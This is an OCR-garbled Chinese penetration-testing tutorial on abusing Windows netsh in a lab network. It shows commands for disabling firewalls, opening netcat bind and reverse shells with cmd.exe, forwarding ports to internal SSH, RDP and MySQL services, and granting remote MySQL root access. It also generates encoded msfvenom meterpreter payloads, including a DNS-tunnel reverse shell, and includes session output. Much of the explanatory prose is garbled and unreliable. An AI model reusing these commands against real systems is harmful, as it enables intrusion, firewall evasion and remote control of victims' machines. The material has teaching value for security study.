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win BFNEEMEEEETRTRRENA [ netsh ]

ATER/RERR :

< netsh 24 ?

< EEERT,HAMNTUFA netsh A 2
< netsh BEEHTMERANSEZLEH ?

> ...

HEaAE [ A8, EEEMNMAEETHH,192.168.3.x MR I AMER, HEHNLI;ERIA S AW
B 1:

WebServer-IIS7 BRiEAB DA —4E win2008r2 #1285, A K ip:192.168.3.101 [ X
ip:192.168.4.2 192.168.5.2

WebServer-IIS6 BRiEABFRBDFEHN—4E win2003r2 1 25, A K ip:192.168.3.102 N X

ip:192.168.4.3 192.168.5.3

2008r2-dc BiEHERAME R —E win2008r2 #1388, HATERI AN ip: 192.168.5.6
OldLnmp BREABFRANPRN—S linux Y18, HFrZENAKN ip: 192.168.4.14

winl@-client Rz A BRI PR —E win 2PH, HFTENAM ip: 192.168.5.5
win7-client BREABGFEANPHNAE—Swin B, BEAREEFEININ, AFFAENAKN ip:

192.168.5.4
Strike[ubuntu] BRIRANEZAMNE vps [linux #l8s], /AN ip: 192.168.3.96
Win7-None BRIEANEENARMAEE, EAMAMN ip: 192.168.122.137

XF ERRFRBERS, T ER, FEMFEHRIMIAEE, sE U ASSEREIZERD o, FLEMBARM T XA
APTRRGHADARER 1:



'
L=
= oldLnmp BiRAIREmysqliiERE
MNEE [ Hﬂ FIFdip:192.168.4.14
ay.->  connec t ssh

WebServer- 1157 windows 28@8r2
EiEhEmAT uebR 52 PR BEHE

L7
-
\ ‘ 4Plip:192.168.3.101
‘ X ~ Fip:192.168.4.2 192.168.5.2 —
N I =t
N e S | ¥
. rike ubuntu vps etasplol -
<D Strike ubunt Metasploit

e 4>fip:192.168.3.96 29681"2-d%gﬁ?gzﬁgi;d;wsﬁﬁ%ég
= S ; ip: i =Ly
AEEAMAMip: 192.268.222.137 L e § ity

uebServer- 1156 windows 2003r2 winle-client BHRPIRE L, ATESEENRF
ISR el S Bk B PIfip:192.168.5.5
4-flip:192.168.3.102 bind hidden tcp meterpreter

FPlip:192.168.4.3 192.168.5.3

|

win7-client EFRPIFIwinE P, TREESME
Mip:192.168.5.4
rse dns rcd meterpreter

-

A\

HIMEREAMN B EBELERIETEEW, BUER[EEEIFREN system R ]HIX T & B ¥R 57 windows web
g, LS FERANFHHEN RS
BN, Brin AN E5F KB BN, BRI M R ER B 4858 E < i Fh K i

1. B, BMNELDELERABTHET netsh EMHAKE ? BEBRT, TUAECRTEHA ?

BTN —AKSEMNEEEEE TR, HE R RHNEE A EFIZEY 2R windows AR R &H
ARGEMERLE, NMEAU, WIEEXH, ERLENEFTETF MW windows REEEEETHE, EXTANREXR
i, ERFNE—RIAFRHFRNSELR, tban, #47&KE I tep,udp im M 7 IE[E)” & AKX 18E Fr k8
AL HY B FPIE AR . . .

2. THRRERIEME T netsh portproxy FITEA ?

AR, WA TR A B RI9E — M REANIHR, 21T netsh BIEMNF G ==, HILLTE BIRIAFT
FEEER, EZVHE LBRESEZHRM T, n BT + n AR, XHE—K, BMNA T UFABILFRX
WBHE A BIR , BRI netsh X B ARAM A& K FRZIHFHITIA ]

BK581f, netsh {Y portproxy B8 EAI R AT A, IHMHBIER — =, portproxy HEMU—1
EAIRIbind I, —BE M netsh TV AEFERZAN, e B AR SN M5 A, S5 ERI5MNERIER
% A A E R SR HE R 2lis eVl s mts Eim A £, HIL AR D, B TELZNY R NEE LNV
DMBEB TR BB A 17, WRLERE, mallss, BEARNAEAMN, BARNAERNMN, SiEERMNEFNELM,
MAMEAEEEEAZZINME, BEHIXERKNIZEHBAR T, EREREEREZR, BT KREE—

/



LB AR LR Y F =

w

. KB H, netsh TRRSWN AZ N —EAESESR, MT
B3 7E B ARiB S48 LT netsh #% , iE i BARAM Y ssh

BId 7 B ARA ST A8 L3U4T netsh 3%, E 3 BARAM B rdp

BId 7 B ARiA S 8% L34T netsh 3%, iE 32 BARAM Ay mysql/mssql, g 17Hi 4%
BId 7 B ARiA AL 8% L3147 netsh 2%, 132 BARAM A A bind B meterpreter

Bid7E BRI Al 88 1T netsh 32 %, iL B Ax A M AR A BE IE & o 45 5 W B9 4/ =% th 8E 1IE % 58 [@]

v V. VWV VY 'V

meterpreter

4. 7£ 2003 T{F F netsh, EELX R KL ipve X #F, T netsh ERF X #F ipva fl ipve is A% %k, MR AR
%% ,netsh TEJgESH Lo

# netsh interface ipv6 install EZWE,BTEISLERRS

5. Ok, HE T EAMNATENZE, AT RIRE netsh SINAEMESERET,WT

6. ZIXA A netsh X BirLARAOBI KIG TR R ER, RAWT

a) XF netsh 7 2003 THREGLSHEN TZENRSEEMAE, XEMBEET
# netsh firewall show state BB YH RGP KERTS
# netsh firewall set opmode disable <[] B] &R Slh K ik

# netsh firewall set opmode enable ZEHYFIZRS XL

b) XtTF 2003 PUSHIR S, Tl £ A T i i < B TEBH K i

# netsh advfirewall show allprofiles EE YT RGEA MK NG MRS, EE
W, E, NI, B

# netsh advfirewall set allprofiles state off e VIEIEY AP €

# netsh advfirewall set allprofiles state on = EREY i €

# netsh advfirewall reset EE YRS E RSN, = HhREFI 25



RBHIRTS
# netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

BEXMAKEREMNE

c) XTRIEHAERBEIRN LS
MANEU ZERFARER, FEABWUEEEXT BARNIAE, B AT LB RRS TS UGt XS
#H1T, MR AZE R EFMNIE BRI T ER cut 17, RUBEHMSEN BN RER S AL FE, T—
WEAREEHERE, RALEEAERT, BA—EBERANBER, TABRAAKES T, E, K& 5.
T, BANRAM BB FZIEN TR KL cut 72, RINENZ B R L BRI, B ILHF RN FH kK,
ARBHXRE, WRFRA, T RUEBIZSEANSEE, &, FB T ZEEMAELN NEE, EREHK
EANEER RGN ZEFRES, IRANEZLHE BIRE CARMA— LR, B RRE S W —FF MR,
XNURRE XA B AR KIBEAZ— 0, AN F— 22, EEBRHAE, RERNIZH T ES
WAXZRGESNER, AN EREERHAERITER, BIMREERSXT , A= 5IE5 AL, BT,
XA REFIRER, B BIr KB MITR AN EERE

7. #E, BOHKE L FFWTF A netsh 55 JIFH N34T 5 R IGMIR(E, EFHEZ/T, BINBELRER
— B AR RIB KIS E A&

add GIEANFLN, delete o MERAR N

allow JA¥F%ERE, block HPEMIEE

in AN, out G

name 3% B 7= AYRL N 2 FR

a) B, BAVI AR O KA MBRIE E AT , ASEAN S ER AL PRI DIAN Z, BENBRRME—F,
AARBRZEN T —IREBELR

ZERIE shell

ST WebServer-I1IS7 #laz BT, AVFIMBREZEAMA) tep 53 iwH[AMRIF]

# netsh advfirewall firewall add rule name="nc bind shell"” dir=in action=allow protocol=TCP
localport=53

c:\>nc -1lvp 53 -e cmd.exe

# netsh advfirewall firewall delete rule name="nc bind shell"™ dir=in protocol=TCP

localport=53



Z &, E%E] WebServer-11S6 #l&8 L1417, =X E 5 bind —> shell X

c:\>nc -nv 192.168.3.101 53

S EE R @ shell

5| WebServer-IIS6 #la% EX AU tep /Y 53 uw H&EN, RIEHMITRT

# netsh firewall add portopening TCP 53 "nc reverse shell" 4= 7 WebServer-11S6 #] 8%
EintT

C:\>nc -1vp 53

# netsh firewall delete portopening TCP 53

2 Ja,E| WebServer-IIS7 #l8% LT, RVFARIEAY tep 53 uwH EFEIME[HEARIF], #LEZIE shell E3)
1 WebServer-IIS6 #35 F5#

# netsh advfirewall firewall add rule name="nc reverse shell" dir=out action=allow
protocol=TCP localport=53

C:\>nc -nv 192.168.3.102 53 -e cmd.exe

# netsh advfirewall firewall delete rule name="nc reverse shell"” dir=out protocol=TCP

localport=53

b) RIEFEEHIZ R AN MIBRHEE /Y H , NSEIN [ 52 5ol o % 3 3R A2 N 35 32 S0 7 A 2 1R 2
fir],2003 MU R ZRIEEX LB E7

# [2003] E#1T
Je7E WebServer-11S6 #l#% L#117, AT EHENMTE &
c:\>netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

c:\>nc -nv 192.168.3.101 53 X NEAJIE[F shell

c:\>nc -1lvp 53 N TEAXE shell

7 2003 UGN RGHINAEGFBEIEENAT
J5% WebServer-IIS7 #las L 1T, ATISEHEMZEN, E#IE(E shell

# netsh advfirewall firewall add rule name="pass nc dir=in action=allow



program="C:\nc.exe"
# nc -lvp 53 -e cmd.exe

# netsh advfirewall firewall delete rule name="pass nc" dir=in program="C:\nc.exe"

IXZTE WebServer-11S7 Hl#8 EiT, A FIEEHE T shFINE, EiZE X E shell
# netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow
program="C:\nc.exe"

# nc -nv 192.168.3.102 53 -e cmd.exe

# netsh advfirewall firewall delete rule name="Allow nc" dir=out program="C:\nc.exe"

8. RIEXAZ ,ZTMUABRBRNSKNER, BT BFriA5T WebServer-I1S7 #1885 LAY netsh EiZEHIRA
M 0ldLnmp #1888 ssh, 0T

Jo 7t WebServer-IIS7 #l=% Ei4T, RVFSMERAY tcp 8081 i HIEAN
# netsh advfirewall firewall add rule name="0ldLnmp ssh" dir=in action=allow protocol=TCP

localport=8081

BHER BSME tep 8081 im R B £ &3 A 2| HARW MY 01dLnmp Hla8HY 22 um M |, Hiik 22 ipv4 £ ipv4,
BIAS ST 0.0.0.0 49 8081

# netsh interface portproxy add v4tov4 listenport=8081 connectaddress=192.168.4.14
connectport=22

# netsh interface portproxy show all BEERB LN

# netstat -ano | findstr "8081"

# netsh advfirewall firewall delete rule name="0ldLnmp ssh" dir=in protocol=TCP
localport=8081

# netsh interface portproxy delete v4tov4 listenport=8081

&Ja, B1E] Strike A28 L 1T, Bl o] E#EE| HARA MFEE R O1dLnmp 412§

# ssh root@192.168.3.101 -p 8081



root@Strike:~# ifconfig | grep inet
addr:192.168.3.96| Bcast:192.168.3.255 Mask:255.255.255.0

6 addr: feB80::a39f:e390:de0f:f36a/64 Scope:Link
addr:127.0.0.1 Mask:255.0.0.0

6 addr: ::1/128 Scope:Host
root@Strike:~# ssh roct@192.168.3.101 -p 8081
root@l192.168.3.101's password:

Last login: Fri Feb 9 13:48:24 2018 from 192.168.4.2

[root@OldLnmp ~]# ifconfig | grep inet
inet addr :JEFISNLMCE] Bcast:192.168.4.255 Mask:255.255.255.0

6 addr: feB0::20c:29ff:fecé6:1d0b/64 Scope:Link
addr:127.0.0.1 Mask:255.0.0.0
6 addr: ::1/128 Scope:Host

[root@Oldlnmp ~]# |

9. EARMEEAXEBRAMA ssh, F rdp FEFH T ,BITiA SR WebServer-1IS7 #1288 LAY netsh XiEH
¥R M 2008r2-dc i rdp, I T

ER BSMBEY tep /Y 389 im IR EE LA MAY 2008r2-dc 174 3389 0 E

# netsh advfirewall firewall add rule name="2008r2-dc rdp" dir=in action=allow protocol=TCP
localport=389

# netsh interface portproxy add v4tov4 1listenport=389 connectaddress=192.168.5.6
connectport=3389

# netsh interface portproxy show all

# netstat -ano | findstr ":389"

# netsh advfirewall firewall delete rule name="2008r2-dc rdp" dir=in protocol=TCP
localport=389

# netsh interface portproxy delete v4tov4 listenport=389

bR, BB EIZE Win7-None ##8 L 47, BI O] A ThiES] B AR A M AY 2008r2-dc #1885

mstsc 192.168.3.101:389

%192 168 3 101:389 |
- ministra

le. LHEEAHFIL—LXBEERNRE, LW, RNKEEE] B RN NI EREEN R LS, iZE
AT, BIXFEES BB, EXRPEF LR, HLERRE, KRR BI AV LA netsh X
BB ENR A RESMME LR BN Mg EYRNEIEERD L, tbin, Bidis 5T webServer-11S7
Plag £/ netsh, BN B A5 M 01dLnmp #/18% EBYE3R, 5, BRT mysql,mssql,pgsql. . th&RZ I
AR



ZIAM 0ldlnmp Hlas 31T, AVF root ShiE, N RA 552 web, BRAEZ 0] BRER, IR BT == A2
web, IfRERLE B CBINEF BT

# mysql -uroot -p -S /tmp/mysqgl.sock

mysql> grant all on *.* to 'root'@'%' identified by 'admin' with grant option;flush
privileges;

# netsh advfirewall firewall add rule name="0ldlnmp mysql dump" dir=in action=allow
protocol=TCP localport=3568

# netsh interface portproxy add v4tov4 listenport=3568 connectaddress=192.168.4.14
connectport=3306

# netsh interface portproxy show all

# netstat -ano | findstr "3568"

# netsh advfirewall firewall delete rule name="0ldlnmp mysql dump" dir=in protocol=TCP
localport=3568

# netsh interface portproxy delete v4tov4 listenport=3568

O F| Win7-None #8817, 2 G IE & B4R o]

navicat ip: 192.168.3.101 port: 3568 root:admin

" Navicat Premi o
File Edit View Favorites Tools Window Help Sign In
5 | iia L ED -~ iia = o M=
Fo . o [00 Jeo %, = & =)
Connection New Query Table View Function Event User Query Report Backup Automation
] oldlnmp Objects ®
4 = buWAPP » &
y Tables Open Table Design Table R :

9 oldlnmp

- B Views

> fy Functions
. [ Events

- [ Queries

- 5] Reports

- Bl Backups Sessions
£ information_schema 2

Server Version

5.6.27

e Host

s 192.168.3.101
= performance_schema

Port

m

£ sec :
E sec_list 3568

User Name

root

Settings Location
C:\Users\scan\Documents\Navic|
Encoding
Auto

55H Host

HTTP Tunnel URL
-

7 Databases ';_ifzf_o-ldlnmp mé # (OO




11. WENBEFAMEEVRNZEEE, JELRE, RNBREFFEELEN, RUGRAERTEBIRRMNE
EH#RAY meterpreter, ERREERENBER T, IXEARE, RAZRHT RS, THRKREFERTT,
1@ B #7358 57 WebServer-IIS7 #1885 i netsh, &2 B4rA M g win7-client 4188 L9 bind &
meterpreter, iX#f bind fi— S FAFRE , 7 win7-client 85 HEE P FEZIHE WebServer-11S7 #]
/A ip

1) &%, FA5E M msfvenom &£ fi— bind B {1 payload, )T &, X ER) ahost[ RAFIFRINYIE]IES
WebServer-I1IS7 BSAAM ip, BAEWT
# msfvenom -a x86 --platform Windows -p windows/meterpreter/bind hidden tcp LPORT=443

AHOST=192.168.5.2 -e x86/shikata_ga nai -b '\x@0' -i 3 -f exe > bind_meterpreter.exe



2) [@ 2|5 5T WebServer-IIS7 #l28 EH 1T, BERMRE R, IERB IR 4443 i O =M E X E AW
win7-client #]888Y meterpreter i[O

# netsh advfirewall firewall add rule name="bind hidden meterpreter" dir=in action=allow

protocol=TCP localport=4443

# netsh interface portproxy add v4dtov4 listenport=4443 connectaddress=192.168.5.4

connectport=443

# netsh interface portproxy show all

# netstat -ano | findstr "4443"

3) EEECERST MR, R IR B Asles X 738 bind_meterpreter.exe, FUICHKIRFET
443 im A/ RER

C:\>netstat -ano | findstr ":443"

4) &, B ZE Strike #l27 EH# bind BArAMAY meterpreter B O], NL 28T, o XSEA nc 3T T B iR
i, EERBAE, BT IUEH bind

# nc -nv 192.168.3.101 4443

mst > use exploit/multi/handler

mst > set payload windows/meterpreter/bind_hidden_tcp

msf > set ahost 192.168.5.2

msf > set rhost 192.168.3.101

msf > set lport 4443

msf > set ExitOnSession false

mst > exploit -j



[*] Sending stage (179779 bytes) to 192.168.3.101
[*] Meterpreter session 6 opened (192.168.3.96:38783 —> 192.168.3.101:4443) at 2018-02-09 16:25:49 +0800

meterpreter > sysinfo
Computer : WIN7-CLIENT

0s : Windows 7 (Build 7601, Service Pack 1).
Architecture : X64

System Language : en US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : X86/windows

meterpreter > shell

Process 2912 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\win7\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection—specific DNS Suffix
Link-local IPv6 Address

IPv4 Address

Subnet Mask

Default Gateway

5) &Ja,1ILE T LG, IERIRIFE WebServer-IIS7 #l#% L ARINAYAL AR —T

# netsh advfirewall firewall delete rule name="bind hidden meterpreter" dir=in protocol=TCP
localport=4443

# netsh interface portproxy delete v4tov4 listenport=4443

# netsh interface portproxy show all

12. AEUEEHE, R EEXMIEENEETR, EXEPEEEETRBRE, L, BFFHAERESE,
BEAR8EEIE netsh LI (TR meterpreter RiEVE? HARRTUM, REELLIEFE R, BEBELILR
RN M winl1e-client H188 I (4 meterpreter i AR 3% %] B 475 5269 WebServer-11S7 & F, A H
Fih 5 4L2% LB netsh {E meterpreter fYin O B 8 X B TAMEY Strike Hl8& L, XHFRPTISE
PIEE R meterpreter 2, XBIAMER T 55— A=, R0 B AR M P E) winle-client X G188 8E



FESMN , B XFPTT R —HE T IXHE shell RFEIR, EH, MRBIFAMENE L SR EEEINAIEE,
B X RIR TSR E L4

1] B, & strike Hlsz LRIZE— N REA dns MEAT=:, AT

msf > use exploit/multi/handler

msf > set payload windows/meterpreter/reverse_tcp _rc4 _dns
msf > set lhost 192.168.3.96

msf > set lport 53

msf > set rcd4password klion

msf > set ExitOnSession false

mst > exploit -j

2] 4 pf payload, 5 EFRX B ELEMIIES BARA 5K WebServer-IIS7 Hl=5%F R AY A M it
# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse tcp rc4 dns
LHOST=192.168.5.2 LPORT=53 RC4PASSWORD=klion -e x86/shikata_ga nai -b '\x@0' -f exe >

dns_tunnel.exe

3] ERMBAEET G, BAIRZH AT WebServer-T1S7 #laz LI tep AY 53 im Ak

# netsh advfirewall firewall add rule name="dns rc4 shell"” dir=in action=allow protocol=TCP
localport=53

# netsh 1interface portproxy add v4tov4 1listenport=53 1listenaddress=192.168.5.2
connectaddress=192.168.3.96 connectport=53

# netstat -ano | findstr ":53"

4] ok, Zh—PIEETLYE, K winle-client 23 EHFTHAIEY dns_tunnel.exe, FHEINIE R T, —H&

HSIEE F4%, 35 ,dns FESHIE



exploit ( ) > [*] Sending stage (179783 bytes) to 192.168.3.101
Meterpreter session 7 opened (192.168.3.96:53 —> 192.168.3.101:49171) at 2018-02-09 17:01:53 +0800

exploit ( ) > sessions -i 7
[*] Starting interaction with 7...

meterpreter > sysinfo
Computer : WIN1O-CLIENT

0Ss : Windows 10 (Build 10240).
Architecture 1 x64

System Language : en US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

meterpreter > shell

Process 3724 created.

Channel 1 created.

Microsoft Windows [Version 10.0.10240]

(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\admin\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet2:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : feB0::cB09:fe7e:593e:3d2%4
IPv4 Address. . . . .« « « = = = +« & [192.168.5.5

Subnet Mask . . . . . . . . . . . @ 255.255.255.0

Default Gateway . 5

5] &Ja, FHIERAL, FASIR, R T AR LLERA, ENREEH TR
# netsh advfirewall firewall delete rule name="dns rc4 shell" dir=in protocol=TCP
localport=53

# netsh interface portproxy delete v4tov4 listenport=53 listenaddress=192.168.5.2

13.  XFFIA netsh H#ITEMHAZKHN—SPMAEN

> REEFR—LEFEMREMNHO,EM,53,443,80. . VN ARERSH O, B, BT X O REEN
BRRREPIE Niwm ARR

> ARBEFRARER M AR, 4K £ s AT ABRNRR, HEM A EERR, S ERERTH
S, ERAESEER D THL

> BANERNBENBEEERXM, FARBHHENR

> REGFERERE




> B%...

14. FIA netsh BHiTHRNEREZFL

> MREGHNEERFINEER 7SR E, RAMEIRE, Rk EIEEE

> ReeBENim AR, EEERRED, B, HARLKEAREEE 1p RH#ATH, FTUEILREZEZBENE
EMNEX ip

> BTRRZAW, EAENSERE, RBMBAKITSLREA, &) TEC EETRENKE, RES
THFED S windows Hl2RHY =

> B FF ipvd M ve 1Y tep R oudp smH%e%, ¥ RMESE

> EX...

£ : klion



